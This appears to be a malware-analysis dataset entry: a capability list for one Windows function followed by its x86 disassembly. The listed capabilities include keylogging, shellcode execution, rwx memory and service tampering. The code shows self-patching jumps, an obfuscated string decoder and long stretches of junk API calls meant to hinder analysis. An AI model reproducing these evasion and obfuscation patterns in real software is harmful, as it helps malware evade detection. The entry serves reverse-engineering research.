Function at 0xa881fa
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Allocate thread local storage
Connect pipe
Create pipe
Delete directory
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file size
Get geographical location
Get graphical window text
Get memory capacity
Get system information on windows
Identify system language via api
Log keystrokes via polling
Modify service
Query service status
Resume thread
Set environment variable
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov dword [ebp - 0x10], 0xa88d5f
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa88036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa881fa
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa880b8
call fcn.004673c2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa8807a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa88094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa88094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa8804a
mov byte [ebp - 0x78], 4
mov byte [ebp - 0x77], 0x78
mov byte [ebp - 0x76], 7
mov byte [ebp - 0x75], 0x64
mov byte [ebp - 0x74], 2
mov byte [ebp - 0x73], 0x73
mov byte [ebp - 0x72], 8
mov byte [ebp - 0x71], 0x77
mov byte [ebp - 0x70], 0
mov byte [ebp - 0x6f], 0x7b
mov byte [ebp - 0x6e], 0x1c
mov byte [ebp - 0x6d], 0xb2
mov byte [ebp - 0x6c], 0x2d
mov byte [ebp - 0x6b], 0xa6
mov byte [ebp - 0x6a], 0xed
mov byte [ebp - 0x69], 0xb2
mov byte [ebp - 0x68], 0x88
mov byte [ebp - 0x67], 0xc5
mov byte [ebp - 0x66], 0x41
mov byte [ebp - 0x65], 0xe0
mov byte [ebp - 0x64], 0xba
mov byte [ebp - 0x63], 0x3b
mov byte [ebp - 0x62], 0xfa
mov byte [ebp - 0x61], 0xa7
mov byte [ebp - 0x60], 0xd2
mov byte [ebp - 0x5f], 0xee
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x3d
mov byte [ebp - 0x5c], 0x7e
mov byte [ebp - 0x5b], 0xe0
mov byte [ebp - 0x5a], 0xbb
mov byte [ebp - 0x59], 0xd5
mov byte [ebp - 0x58], 0x73
mov byte [ebp - 0x57], 4
mov byte [ebp - 0x56], 0x85
mov byte [ebp - 0x55], 0x17
mov byte [ebp - 0x54], 0xf
mov byte [ebp - 0x53], 0x50
mov byte [ebp - 0x52], 9
mov byte [ebp - 0x51], 0x74
mov byte [ebp - 0x50], 1
mov byte [ebp - 0x4f], 0x82
mov byte [ebp - 0x4e], 5
mov byte [ebp - 0x4d], 0x78
mov byte [ebp - 0x4c], 3
mov byte [ebp - 0x4b], 0x31
mov byte [ebp - 0x4a], 6
mov byte [ebp - 0x49], 0x81
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa8818a
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x30
jae 0xa881ef
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x78]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa881b6
mov dword [ebp - 0x24], 0x1c
mov eax, dword [ebp - 8]
add eax, 0x1a
mov dword [ebp - 8], eax
jmp 0xa88182
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x77]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa881de
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa881cb
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x78]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa88182
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa7da0a
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407be6
mov ecx, eax
call fcn.00402b3a
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402ade
and dword [ebp - 0x1c], 0
jmp 0xa88232
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa88242
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa8822b
push 0x352
push 0x157c
push 0x78e
push 0x76f
push 0x67d
push 0x733
push 0x230e
push 0x1f2c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0x17a9
push 0x2371
push 0x1c6f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x153a
push 0
push 0x20ca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0
push 0
push 0x26b
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push 0
push 0x73b
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0
push 0xbb4
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push 0x13ee
push 0x1e7b
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
call dword [sym.imp.KERNEL32.dll_SetDllDirectoryW]
push 0x22f4
push 1
push 0x24cb
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
push 0
push 0x1cfe
push 0x4e2
push 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
push 0x261a
call dword [sym.imp.USER32.dll_GetKeyboardType]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x1fa3
push 0xa80
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
push 0
push 0x5c2
push 0
push 0x12c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawTextExW]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0x7c2
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0
push 0x1a00
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
push 0xa10
push 0x1e80
push 0x21c5
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0x26f6
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x2297
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0x186c
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0
push 0xa04
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0
push 0x22e3
push 0
push 0x1138
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0x2437
push 0x1ad7
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0xb8d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
push 0x344
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
call dword [sym.imp.USER32.dll_CharNextW]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push 0x1119
push 0xf3d
push 0x910
call dword [sym.imp.KERNEL32.dll_MulDiv]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0x18ed
push 0x40
push 0x1f33
push 0x4f7
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0x1b73
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemInt]
push 0
push 0
push 0x21f5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendMessageW]
push 0x6b7
push 0x1117
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
push 0x4bf
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
call dword [sym.imp.USER32.dll_IsRectEmpty]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x1d26
push 0x1881
call dword [sym.imp.KERNEL32.dll_Beep]
push 0x36f
push 0x612
push 0
push 0xdf3
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
push 0x19bd
push 0x1870
push 0x11bf
push 0xa36
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Ellipse]
push 0x12b1
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
push 0x2623
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
push 0x1e50
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x1b1c
push 0
push 0xbc1
push 0x1070
push 0x654
push 0
push 0x44f
push 0x1beb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawIconEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x156b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
call dword [sym.imp.USER32.dll_EndMenu]
push 0x1a79
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
call dword [sym.imp.KERNEL32.dll_GetVersion]
push 0
push 0x2ce
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
push 0
push 0x23b
push 0x2410
push 0x1bd2
call dword [sym.imp.KERNEL32.dll_RaiseException]